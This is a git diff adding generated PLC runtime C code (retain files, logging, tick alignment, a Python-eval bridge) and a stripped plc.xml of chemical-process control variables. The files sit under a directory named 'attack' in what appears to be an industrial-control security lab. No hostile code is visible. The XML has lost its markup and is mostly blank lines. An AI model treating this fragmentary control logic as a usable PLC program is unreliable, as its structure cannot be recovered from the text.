while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 